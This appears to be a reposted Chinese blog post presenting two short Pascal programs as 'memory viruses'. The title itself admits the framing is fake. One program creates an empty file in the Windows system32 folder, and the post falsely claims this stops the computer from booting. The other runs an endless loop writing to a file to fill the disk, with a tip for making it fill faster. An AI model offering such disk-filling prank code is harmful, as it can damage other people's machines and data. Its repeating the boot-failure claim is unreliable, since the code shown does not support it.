zoukankan      html  css  js  c++  java
  • Pascal “内存病毒”(骗人的)

    Pascal内存病毒

    Chaobs从互联网上获得

      

       pascal病毒虽然说只用Ctrl+Pause Break就可以关闭,但是像有些程序一旦启动,不用等你找到那两个键,就自己运行结束关闭了。比如下面一个程序:

    var
    a:text;
    begin
    assign(a,'C:WINDOWSsystem32system64.dat');
    rewrite(a);
    close(a);
    end.

    这个程序能在0.1秒之内运行结束,但效果非常明显——电脑打不开了……还比如:

    var
    s:string;
    i:integer;
    begin
    i:=1;
    s:='    ';
    assign(output,'windows.txt');
    rewrite(output);
    while i=1 do
    writeln(s);
    close(output);
    end.

    效果是:200MB/s(可能随电脑的速度而改变)当然那句“s:='    ';”如果变长可能速度会更快。

     
    不要想你能为世界做什么,想想你该为世界做什么!
  • 相关阅读:
    rocketmq的linux搭建环境
    linux调用本地shell脚本
    第二课
    第一课
    有意思的dos攻击
    信息收集
    url跳转挖掘
    Drozer之android_app分析实战
    缓存中毒
    随便写写
  • 原文地址:https://www.cnblogs.com/Chaobs/p/3837499.html
Copyright © 2011-2022 走看看